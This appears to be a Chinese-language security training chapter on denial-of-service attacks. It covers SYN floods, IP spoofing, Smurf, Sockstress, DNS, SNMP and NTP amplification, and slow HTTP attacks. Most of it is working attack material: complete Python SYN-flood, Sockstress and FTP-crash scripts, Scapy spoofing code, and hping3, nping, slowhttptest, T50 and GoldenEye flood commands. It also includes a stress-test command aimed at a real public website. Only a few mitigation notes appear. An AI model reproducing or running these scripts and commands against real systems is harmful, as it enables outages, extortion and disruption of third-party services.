第十五章 拒绝服务
▪ DoS 不是 DOS
– 利用程序漏洞或一对一资源耗尽的Denial of Service 拒绝服务
▪ DDoS 分布式拒绝服务
– 一对一的攻击完全拼各自的资源,效果差
– 多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型
▪ 历史
– 以前:欠缺技术能力的无赖,我 ping死你(最难缠的无赖)
– 现在:最强大最危险的攻击,攻击方式众多(专业化的要求勒索)
▪ 亲身经历:电商网站被勒索、Bill gates僵尸程序
▪ 贩卖和租用肉鸡已经成为黑产中重要的一部分
▪ 最终的办法就是拼资源,投资抗D,或者乖乖交保护费
▪ Anonymous 匿名者
– 世界最著名的黑客组织
– 组织结构宽松,人员来自世界各地
– 以DDoS攻击著称的无政府主义者
– 亦正亦邪,攻击恐怖组织也攻击政府宗教机构
– 近些年来涉及政治斗争
– 成员露面时均带有Guy Fawkes面具
– 最早的核心成员来自4chan图片社区
– 惯常雇用外围黑客成员发动DDoS攻击
▪ 口号
– We are Anonymous,We are a Legion,We do not forgive,We do not forget,Expect us.
DoS分类
▪ D网络
– 基于巨量的Flood耗尽目标网络带宽资源
– ICMP Flood、UDP Flood
▪ D协议
– 攻击协议漏洞发起的拒绝服务攻击
– 如Syn Flood、Ping of Death、ARP、DNS、802.11、SSL
▪ D应用
– 针对应用软件和操作系统漏洞发起的拒绝服务攻击
– 大量频繁访问消耗系统资源严重的应用(CC)
– 通常表现为操作系统运行正常,网络流量不大,但服务停止响应
– 可以是一击毙命的,也可以是耗尽目标资源的
▪ 以上分类并不严谨,不必太过执着
为何会被DoS
▪ 从网络攻击者到被害者
– 网络—>FW—>服务器OS—>服务器应用
▪ 资源耗尽
– 网络:带宽
– FW:吞吐量、并发连接
– 服务器:CPU、内存、I/O
– 应用:处理请求能力,对OS资源的使用权
▪ 程序漏洞攻击
– 缓冲区溢出
– 协议、程序逻辑漏洞
▪ 链路上任何一点都可成为目标
Syn-Flood
▪ 常伴随IP欺骗
– 真正的攻击目标
▪ Scapy
– i=IP()
– i.dst=1.1.1.1
– i.display()
– t=TCP()
– sr1(i/t,verbose=1,timeout=3)
– sr1(IP(dst=1.1.1.1)/TCP())
▪ 攻击脚本 : ./syn_flood.py
#!/usr/bin/python # _*_ coding:utf8 _*_ from scapy.all import * from time import sleep import thread import random import logging logging.getLogger('scapy.runtime').setLevel(logging.ERROR) if len(sys.argv) !=4: print("EXAMPLE:./syn_flood.py 1.1.1.1 80 20") sys.exit() target =str(sys.argv[1]) port = int(sys.argv[2]) threads = int(sys.argv[3]) print("SYN flood attacking........, Press Ctrl + c STOP attack") def synflood(target,port): while 0 == 0: x = random.randint(0,65535) send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0) for x in range(0,threads): thread.start_new_thread(synflood,(target,port)) while 0 == 0: sleep(1)
– iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 1.1.1.1 -j DROP // 这条防火墙策略很关键,不丢弃RST到时候就是发一个又RST一个,没有用,结合抓包软件一起分析
– firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -d 172.25.254.31 -p tcp --tcp-flags RST RST -j DROP // firewall用这条
–firewall-cmd --direct --get-all-rules // 查看所有规则
– netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' // 统计所有状态连接的数量
– windows系统默认半开连接数10个
IP地址欺骗
▪ 经常用于DoS攻击
▪ 根据IP头地址寻址
– 伪造IP源地址
▪ 边界路由器过滤
– 入站、出站
▪ 受害者可能是源、目的地址
▪ 绕过基于地址的验证
▪ 压力测试模拟用户
▪ 上层协议(TCP序列号)
Smurf 攻 击
▪ 世界上最古老的DDoS攻击技术 (了解即可)
– 向广播地址发送伪造源地址的 ICMP echo Request(ping)包
– LAN所有计算机向伪造源地址返回响应包
– 对现代操作系统几乎无效(不响应目标为广播的ping)
▪ Scapy
– i=IP()
– i=src="1.1.1.1" // 这个源地址即你要攻击的IP地址
– i.dst="1.1.1.255" // 向广播地址发送ping数据包,因为设的源地址为1.1.1.1,所以其会想1.1.1.1回大量的数据包,这就是为什么说src就是你要攻击的IP地址
– p=ICMP()
– p.display()
– r=(i/p)
– send(IP(dst="1.1.1.255",src="1.1.1.2")/ICMP(),count=100,verbose=1)
Sockstress
▪ 2008年由Jack C. Louis 发现
▪ 针对TCP服务的拒绝服务攻击
– 消耗被攻击目标系统资源
– 与攻击目标建立大量socket连接
– 完成三次握手,最后的ACK包 window 大小为 0(客户端不接收数据)
– 攻击者资源消耗小(CPU、内存、带宽)
– 异步攻击,单机可拒绝服务高配资源服务器
– Window窗口实现的TCP流控
▪ Python 攻击脚本
– ./sockstress.py 1.1.1.1 21 200
#!/usr/bin/python # -*- coding:utf-8 -*- from scapy.all import * from time import sleep import thread import logging import os import signal import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) if len(sys.argv) !=4: print("用法:./sock_stress.py [目标IP] [端口] [线程数]") print("举例:./sock_stress.py 10.0.0.2 21 20 #请确定被攻击端口处于开放状态") sys.exit() target = str(sys.argv[1]) dstport = str(sys.argv[2]) thread = str(sys.argv[3]) ## 攻击函数 def sockstress(target,dstport): while 0 == 0: try: x = random.randint(0,65535) response = sr1(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0) send(IP(dst=target)/TCP(dport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0) // 这里关键参数是window=0 except: pass ## 停止攻击函数 def shutdown(signal,frame): print("正在恢复 iptables规则 ") os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + target + '-j DROP') sys.exit() ## 添加iptables规则 os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + target + '-j DROP') signal.signal(signal.SIGINT,shutdown) ## 多线程攻击 print("\n 攻击正在进行.......按Ctrl+c停止攻击") for x in range(0,threads): thread.start_new_thread(sockstress,(target,dstport)) ## 永远执行 while 0 == 0: sleep(1)
通过top命令可以查看CPU、内存、cached、buffer基本上都没有多少空闲了,整个系统负载也跑的很高了
通过netstat命令查看ESTABLISHED的数量也一直在不停的增加
通过free -m也可以发现可用内存在不断的减少
▪ C 攻击脚本
– https://github.com/defuse/sockstress
– gcc -Wall -c sockstress.c
– gcc -pthread -o sockstress sockstress.o
– ./sockstress 1.1.1.1:80 eth0
– ./sockstress 1.1.1.1:80 eth0 -p payloads/http
▪ 防火墙规则
– iptables -A OUTPUT -p TCP --tcp-flags rst rst -d 1.1.1.1 -j DROP
– firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -d 172.25.254.31 -p tcp --tcp-flags RST RST -j DROP // firewall用这条
▪ 攻击效果
– Netstat
– Free
– Top
▪ 防御措施
– 直到今天sockstress攻击仍然是一种很有效的DoS攻击方式
– 由于建立完整的TCP三步握手,因此使用syn cookie防御无效
– 根本的防御方法是采用白名单(不实际)
– 折中对策:限制单位时间内每IP建的TCP连接数
▪ 封杀每30秒与80端口建立连接超过10个的IP地址
▪ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --set
▪ iptables -I INPUT -p tcp --dport 80 -m state --state NEW -m recent --update --seconds 30 --hitcount 10 -j DROP
▪ 以上规则对DDoS攻击无效
TearDrop
▪ 主要针对早期微软操作系统(95、98、3.x、nt)
– 近些年有人发现对2.x版本的android系统、6.0 IOS系统攻击有效
▪ 原理很有趣
– 使用IP分段偏移值实现分段覆盖,接收端处理分段覆盖时可被拒绝服务
▪ 攻击效果
– 被攻击者蓝屏、重启、卡死
▪ Ping大包,比较正常分段与teardrop攻击流量的区别
▪ 针对早期windows系统SMB协议的攻击
– teardrop_smb.py
▪ 针对Android、IOS 系统的攻击
– teardrop_android_ios.py
▪ 攻击向量并不确定,要是具体协议分析
DNS放大攻击
▪ 产生大流量的攻击方法
– 单机的带宽优势
– 巨大单机数量形成的流量汇聚
– 利用协议特性实现放大效果的流量
▪ DNS协议放大效果
– 查询请求流量小,但响应流量可能非常巨大
– dig ANY hp.com @202.106.0.20(流量放大约8倍)
▪ 攻击原理
– 伪造源地址为被攻击目标地址,向递增域名查询服务器发起查询
– DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS
▪ Scapy 构造攻击数据包
– IP/UDP/DNS/DNS查询内容
▪ 结合IP地址欺骗,利用大量DNS服务器做傀儡攻击目标
这里的DST是DNS服务器的地址,SRC是要攻击的机器的IP地址,通过向DNS服务器发送请求,然后DNS放大回包给我们指定的SRC源地址,从而达到DNS放大攻击的目的
u.port:UDP端口
d.rd=1 // 开启递归查询
d.qdcount=1 // 开启递归查询(图片有误)
DNSQR() // DNS 查询记录
q.qname='hp.com' // 定义所要查询的域名
q.qtype=255 // 默认只查A记录,255代表查所有记录,这样能更好的达到放大攻击的效果,不过现在大部分公网DNS服务器都限制了ANY查询,所以还是改成默认的A
d.qd=q // 将d的qd字段和q(即DNS查询记录)绑定一起
r=(i/u/d) // r即response,将IP头、UDP头、DNS头绑定在一起
结果验证:可以发现我发送的数据并不大,回包的数据就大一些(这里只是A记录)
从抓包的数据也可以看到,我发过去的包是66,回来的包为98,当然,因为qtype仅仅只是A,所以并不能实现放大很多倍的效果
SNMP放大攻击
▪ 简单网络管理协议
– Simple Network Management Protocol
– 服务端口 UDP 161 / 162 // 161是主动模式开放的端口,162是被动模式开放的端口
– 管理设备 ( manager / 客户端) 、被管理设备 ( agent / 服务端 )
– 管理信息数据库(MIB)是一个信息存储库,包含管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
– 每一个节点都有一个对象标识符(OID)来唯一的标识
– IETF定义标准的MIB库 / 厂家自定义MIB库
▪ 攻击原理
– 请求流量小,查询结果返回流量大
– 结合伪造源地址实现攻击
▪ 安装SNMP服务
– 定义community
从验证结果可以看到,发出去的包94,回来的包1514+1514+1370,放大了46倍左右
这是将max_repetitions的值修改为200之后抓包得出的结果,可以发现如果需要增加放大的倍数,可以适当加大此值
NTP放大攻击
▪ 网络时间协议
– Network Time Protocol
– 保证网络设备时间同步
– 电子设备互相干扰导致时钟差异越来越大
– 影响应用正常运行、日志审计不可信
– 服务端口 UDP 123
▪ 攻击原理
– NTP 服务器 monlist(MON_GETLIST)查询功能
▪ 监控 NTP 服务器的状况
– 客户端查询时,NTP服务器返回最后同步时间的600个客户端 IP
▪ 每6个IP一个数据包,最多100个数据包(放大约100倍)
▪ 发现NTP服务
– nmap -sU -p123 192.168.1.0/24 // 查询192.168.1.0/24网段内开放了123端口的服务器
▪ 发现漏洞
– ntpdc -n -c monlist 192.168.1.125 // -n 指不使用域名搜索,只用IP发现,-c 跟具体你要查询的
返回超时,说明不允许monlist查询,也就无法进行NTP服务放大攻击(默认是关闭的)
– ntpq -c rv 192.168.1.125 // 查询NTP服务器的服务端配置
– ntpdc -c sysinfo 192.168.1.125 // 查询其他的一些系统信息
▪ 配置文件
– /etc/ntp.conf
▪ restrict -4 default kod nomodify notrap nopeer noquery // 注释这两行,即开启monlist查询功能,重启ntp服务
▪ restrict -6 default kod nomodify notrap nopeer noquery
可以发现现在monlist可以查询了
▪ NTP攻击对策
– 升级到 ntpd 4.2.7p26 及以上的版本(默认关闭monlist查询)
– 手动关闭monlist查询功能
应 用 层 DoS
▪ 应用服务漏洞
– 服务代码存在漏洞,遇异常提交数据时程序崩溃
– 应用处理大量并发请求能力有限,被拒绝的是应用或OS
▪ 缓冲区溢出漏洞
– 向目标函数随机提交数据,特定情况下数据覆盖临近寄存器或内存
– 影响:远程代码执行、DoS
– 利用模糊测试方法发现缓冲区溢出漏洞
▪ CesarFTP 0.99 服务漏洞
– ftp_fuzz.py # MKD/RMD
#!/usr/bin/python # -*- coding:utf-8 -*- import socket import sys if len(sys.argv) != 5: print("用法:./ftp_fuzz.py [目标IP] [目标端口] [步长] [最大长度]") print("举例:./ftp_fuzz.py 1.1.1.1 21 100 1000") sys.exit() ip = str(sys.argv[1]) port = int(sys.argv[2]) i = int(sys.argv[3]) step = int(sys.argv[3]) max = int(sys.argv[4]) user = raw_input(str("FTP账号:")) passwd = raw_input(str("FTP密码:")) command = raw_input(str("FTP命令:")) while i <= max: try: payload = command + " " + ('\n' * i) print("已发送" + str(i) + "个换行符") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect((ip,port)) s.recv(1024) s.send('USER' + user + '\r\n') s.recv(1024) s.send('PASS' + passwd + '\r\n') s.recv(1024) s.send(payload + '\r\n') s.send('QUIT\r\r') s.recv(1024) s.close() i = i + step except: print("\n服务已奔溃") sys.exit() print("\n未发现缓冲区溢出漏洞")
可以看到大概发了700个换行符左右,服务器就挂起了
回到服务器端,可以发现21端口也已经没有对外开放了
再次连接也显示连接超时了
▪ Ms12-020 远程桌面协议DoS漏洞
root@kali:~# searchsploit ms12-020
/usr/share/exploitdb/exploits/windows/dos/18606.txt // 找到其利用方法
可以发现,该漏洞的利用方法还是非常简单,一条命令搞定,dat文件可以取dat标注处进行下载
多运行几次,最终导致对方机器蓝屏重启,达到拒绝服务的目的
▪ Slowhttptest(源自google)
– 低带宽应用层慢写DoS攻击(相对于CC等快速攻击而言的慢速) 客户端只有1M的带宽,服务器有1G的带宽,仍然可以用仅有的1M的带宽将服务器拥有1G的带宽打死
– 最早由Python编写,跨平台支持(Linux、win、Cygwin、OSX)
– 尤其擅长攻击apache、tomcat(几乎百发百中)
▪ 攻击方法
– Slowloris、Slow HTTP POST 攻击
▪ 耗尽应用的并发连接池,类似于Http层的Syn flood
▪ HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,服务器时钟为其保留连接资源池占用,此类大量并发将导致DoS
▪ Slowloris:完整的http请求结尾是\r\n\r\n,攻击发\r\n……
▪ Slow POST:HTTP头content-length声明长度,但body部分缓慢发送
– Slow Read attack攻击
▪ 与 slowloris and slow POST目的相同,都是耗尽应用的并发连接池
▪ 不同之处在于请求正常发送,但慢速读取响应数据
▪ 攻击者调整TCP window窗口大小,是服务器慢速返回数据
– Apache Range Header attack (对DVWA测试无效)
▪ 客户端传输大文件时,体积查过HTTP Body大小限制时进行分段
▪ 耗尽服务器CPU、内存资源
▪ ulimite -n 70000 // 设置最大文件打开数
▪ HTTP Post 攻击模式
– slowhttptest -c 1000 -B -g -o body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://1.1.1.1 -x 10 -p 3 // -c 建立1000个连接 -B Slow HTTP POST模式攻击 -g -o 输出到body_stats文件,-i 间隔110秒,-r 请求的速率 -s 指定Content-Length header的长度(只适用于Slow HTTP POST攻击模式) -t 采用的是FAKEVERB请求方式 -u 指定URL -x 指定每次传输数据最大的长度 -p 指定在多长时间内服务端没有响应我我就判定其被dos了
▪ slowloris 攻击模式
– slowhttptest -c 1000 -H -g -o header_stats -i 10 -r 200 -t GET -u http://1.1.1.1 -x 24 -p 3 // -H 采用SlowLoris攻击模式
▪ 支持代理
▪ 大量应用服务器和安全设备都无法防护慢速攻击
验证部分:
slowhttptest -c 60000 -H -g -o body_stats -i 10 -r 1 -t GET -u http://1.1.1.1 -x 24 -p 3 -l 9999999 // 每次只发1个连接,-l 指定一个很大的数字,代表我一直连你,总共建立60000个连接,
connected 代表已经建立的连接,目前服务的可用性还是YES
过了一段时间,当建立了170个连接左右,连接池就被占满了,发现服务可用性变为NO了,说明其可用的最大的连接池为100多个
访问发现连不上了
还有一类拒绝服务
▪ 炸邮箱
– 使用垃圾邮件塞满邮箱
▪ 无意识的/非故意的拒绝服务攻击
– 数据库服务器宕机恢复后,引用队列大量请求洪水涌来
– 告警邮件在邮件服务器修改地址后洪水攻击防火墙
拒绝服务攻击工具
▪ RUDY
– 慢速应用层HTTP POST攻击,与slowhttptest原理相同
– 每次只传输一个字节的数据
– 美剧“黑客军团”中曾提到过此攻击手段
– 攻击有表单WEB页面,攻击时需指定攻击的参数名称
– https://sourceforge.net/projects/r-u-dead-yet/
使用方法:
1)配置好配置文件
2)发起攻击
3)验证结果
▪ Hping3
– 几乎可以定制发送TCP/IP数据包,用于测试FW、端口扫描、性能测试
命令详解:
usage: hping3 host [options] -v --version 查看版本信息 -c --count 包的数量 -i --interval 间隔时间 --fast --faster --flood 尽可能快的发送数据包,不要回包(即泛洪攻击) -n --numeric 不解析域名 -q --quiet 安静模式 -I --interface interface name (otherwise default routing interface) -V --verbose verbose mode -D --debug debugging info -z --bind bind ctrl+z to ttl (default to dst port) -Z --unbind unbind ctrl+z --beep beep for every matching packet received Mode default mode TCP -0 --rawip RAW IP mode -1 --icmp ICMP mode -2 --udp UDP mode -8 --scan SCAN mode. Example: hping --scan 1-30,70-90 -S www.target.host -9 --listen listen mode IP -a --spoof 伪造源地址 --rand-dest random destionation address mode. see the man. --rand-source 开启随机源地址模式 -t --ttl ttl (default 64) -N --id id (default random) -W --winid use win* id byte ordering -r --rel relativize id field (to estimate host traffic) -f --frag split packets in more frag. (may pass weak acl) -x --morefrag set more fragments flag -y --dontfrag set don't fragment flag -g --fragoff set the fragment offset -m --mtu set virtual mtu, implies --frag if packet size > mtu -o --tos type of service (default 0x00), try --tos help -G --rroute includes RECORD_ROUTE option and display the route buffer --lsrr loose source routing and record route --ssrr strict source routing and record route -H --ipproto set the IP protocol field, only in RAW IP mode ICMP -C --icmptype icmp type (default echo request) -K --icmpcode icmp code (default 0) --force-icmp send all icmp types (default send only supported types) --icmp-gw set gateway address for ICMP redirect (default 0.0.0.0) --icmp-ts Alias for --icmp --icmptype 13 (ICMP timestamp) --icmp-addr Alias for --icmp --icmptype 17 (ICMP address subnet mask) --icmp-help display help for others icmp options UDP/TCP -s --baseport base source port (default random) -p --destport 目标端口 -k --keep keep still source port -w --win 窗口大小 -O --tcpoff set fake tcp data offset (instead of tcphdrlen / 4) -Q --seqnum shows only tcp sequence number -b --badcksum (try to) send packets with a bad IP checksum many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead. -M --setseq set TCP sequence number -L --setack set TCP ack -F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag -U --urg set URG flag -X --xmas set X unused flag (0x40) -Y --ymas set Y unused flag (0x80) --tcpexitcode use last tcp->th_flags as exit code --tcp-mss enable the TCP MSS option with the given value --tcp-timestamp enable the TCP timestamp option to guess the HZ/uptime Common -d --data 数据大小 (default is 0) -E --file data from file -e --sign add 'signature' -j --dump dump packets in hex -J --print dump printable characters -B --safe enable 'safe' protocol -u --end tell you when --file reached EOF and prevent rewind -T --traceroute traceroute mode (implies --bind and --ttl 1) --tr-stop Exit when receive the first not ICMP in traceroute mode --tr-keep-ttl Keep the source TTL fixed, useful to monitor just one hop --tr-no-rtt Don't calculate/show RTT information in traceroute mode ARS packet description (new, unstable) --apd-send Send the packet described with APD (see docs/APD.txt)
▪ Syn Flood攻击
– hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.1.25
– hping3 -S -P -U -p 80 --flood --rand-source 192.168.1.119
上图可以看出,通过很多随机的源地址对119发送大量的SYN,PSH,URG,这样其回的SYN+ACK就会回给随机生成的源地址,而真实的IP会认为,我没有发送请求,不作回应。服务器没有收到回应,会重试3-5次并且等待一个SYN Time(一般30秒-2分钟)后,丢弃这个连接。
================================================================
▪ TCP Flood攻击
– hping3 -SARFUP -p 80 --flood --rand-source 192.168.1.119 (TCP Flood) // 即建立3次完整的握手,非半连接,而是全连接,但是我发的量足够大,也可以达到拒绝服务的效果
可以发现当我把所有的FIN、SYN、RST、PSH、ACK、URG位都置1的时候,通过WIRESHARK抓包的结果都是红色的,这样对其发送数据量如果足够大的话,也可以产生拒绝服务的效果
▪ ICMP Flood攻击
– hping3 -q -n -a 123.122.113.120 --icmp -d 1000 --flood 192.168.1.119 // -a即伪造一个固定的源地址
▪ UDP Flood攻击
– hping3 -a 1.1.1.1 --udp -s 53 -d 100 -p 53 --flood 1.1.1.2
▪ LAND攻击
– 特殊种类的SYN Flood攻击
– 源地址、目的地址都是受害者,受害者与自己完成三次握手
– hping3 -n -a 192.168.1.119 -S -d 100 -p 80 --flood 192.168.1.119 // 自己打自己,自己与自己建立完整的TCP三次握手,从而消耗带宽,消耗资源
▪ TCP全链接DoS攻击
– nping --tcp-connect --rate=10000 -c 1000000000 -q 192.168.1.119 // --rate表示一次建立10000个TCP连接,-c表示一共跟你建立100亿个连接
▪ 查公网IP(与DDOS无关,虚拟机测试无效)
– nping --echo-client "public" echo.nmap.org --udp
▪ Siege
– http/https 压力测试工具,模拟多个用户并发访问请求
– siege -g http://192.168.1.119 // -g 代表get方式,单独使用-g参数可以获取服务器的banner信息
– siege -g http://1.1.1.1/a.php / 1.1.1.1
– siege -i -c 1000 http://www.4399.com -A siegehttp // -i 表示siege支持的几种方式中的一种,代表internet,-c 代表模拟1000并发,-A siegehttp,随便写,表示仿冒的UA
通过Wireshark抓包可以看到
使用top命令也能够查看到Siege的运行状态
– 同时攻击多个url,使用 -f 调用字典文件 (默认就是使用-f参数,所以可以将需要攻击的URL写到这个文件里面就行了)
▪ /etc/siege/urls.txt
siege -i -c 1000 http://www.4399.com -A siegehttp -vv // 实时显示详细信息
▪ T50 网络压力测试(基于网络层的攻击,没有足够的数量,不要轻易尝试,容易造成自己的机器卡死)
– t50 1.1.1.1 --flood --turbo -S --protocol TCP --dport 80
– t50 1.1.1.1 --flood --turbo -S TCP UDP OSPF EIGRP --dport 22
▪ Nmap
– grep dos /usr/share/nmap/scripts/script.db | cut -d "\"" -f 2
nmap -p445 --script=smb-vuln-ms10-054.nse 192.168.1.119 // 查看119这台机器上开放的445端口的服务是否存在smb-vuln-ms10-054.nse这个漏洞
匿名者拒绝服务工具包
▪ 匿名者发布的DoS工具(以下三项都是Windows程序)
– LOIC
– HOIC
– DDoSer (推荐,原理和Slowhttptest的slow post方式相似,给服务端发送一个数据,一点一点发,耗尽其连接池,而对于本机没有什么性能影响,对于被攻击的服务器而言,由于只建立了一个TCP连接,并没有建立过多的TCP连接,排查起来也是比较困难的,经测试于Apache应用生效,Nginx尚未验证)
▪ 招募志愿者发布以上工具
▪ 以上DoS工具不隐藏真实IP地址
其他拒绝服务工具
▪ HULK - Http Unbearable Load King (推荐)
– Python脚本
– 随机产生大量唯一的地址请求,避免缓存命中
– 耗尽WEB服务器资源池,同时也会耗尽系统的CPU资源(Apache验证)
– https://packetstormsecurity.com/files/download/112856/hulk.zip
▪ GoldenEye (对于攻击者本身有消耗,攻击别人的同时需要自己PC的配置足够强大,主要是攻击其WEB应用,对其系统CPU等等没有影响)
– http/https拒绝服务攻击工具
– 安全研究为目的Python脚本
– 随机攻击向量,keep-alive,避免缓存命中
– wget https://github.com/jseidl/GoldenEye/archive/master.zip
– unzip master.zip
– ./goldeneye.py http://1.1.1.1 -w 50
THC-SSL-DOS
转至Web渗透篇